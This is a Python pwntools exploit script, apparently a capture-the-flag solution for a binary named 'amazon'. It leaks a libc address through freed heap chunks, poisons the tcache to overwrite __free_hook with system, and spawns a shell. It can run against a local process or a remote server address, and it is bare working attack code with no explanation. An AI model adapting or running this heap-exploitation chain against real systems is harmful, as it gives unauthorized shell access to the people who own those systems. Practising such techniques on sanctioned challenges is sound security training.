1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
|
from pwn import * context.log_level = "debug" context.arch = "amd64"
exe = './amazon' elf = ELF(exe)
one = [0x4f2c5, 0x4f322, 0x10a38c]
def d(s = ''): gdb.attach(p ,s)
def manu(idx): p.sendlineafter('choice: ', str(idx))
def add(num, size, note): manu(1) p.sendlineafter('buy: ', str(1)) p.sendlineafter('many: ', str(num)) p.sendlineafter('note: ', str(size)) p.send(note)
def add1(num, size, note): manu(1) p.sendlineafter('buy: ', str(1)) p.sendline(str(num)) p.sendline(str(size)) p.sendline(note)
def show(): manu(2)
def checkout(idx): manu(3) p.sendlineafter('for: ', str(idx))
def pwn(): add(2, 0x80, 'a') add(2, 0xa0, 'A') add(2, 0x90, 'A') add(2, 0x10, 'A') for i in range(8): checkout(0)
for i in range(8): checkout(2)
show() p.recvuntil('Name: ') libc.address = u64(p.recv(6).ljust(8, '\x00')) - 0x3ebca0 success('libc.address--->'+hex(libc.address)) for i in range(8): checkout(1) add(2, 0x100, '\xff'*0x80 +p64(3)+p64(0xa1) + p64(libc.sym['__free_hook']-0x40)) checkout(0) add(2, 0xa0, 'a'*0x8) add(2, 0x100, '\x99'*0x80 +p64(3)+p64(0xa1) + '$0\x00') add(2, 0xa0, '\x00'*0x20+p64(libc.sym['system'])) checkout(5)
p.interactive()
if __name__ == '__main__': l = 1 if l: p = process(exe) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: p = remote('121.41.38.38', 9999) libc = ELF('libc-2.27.so')
pwn()
|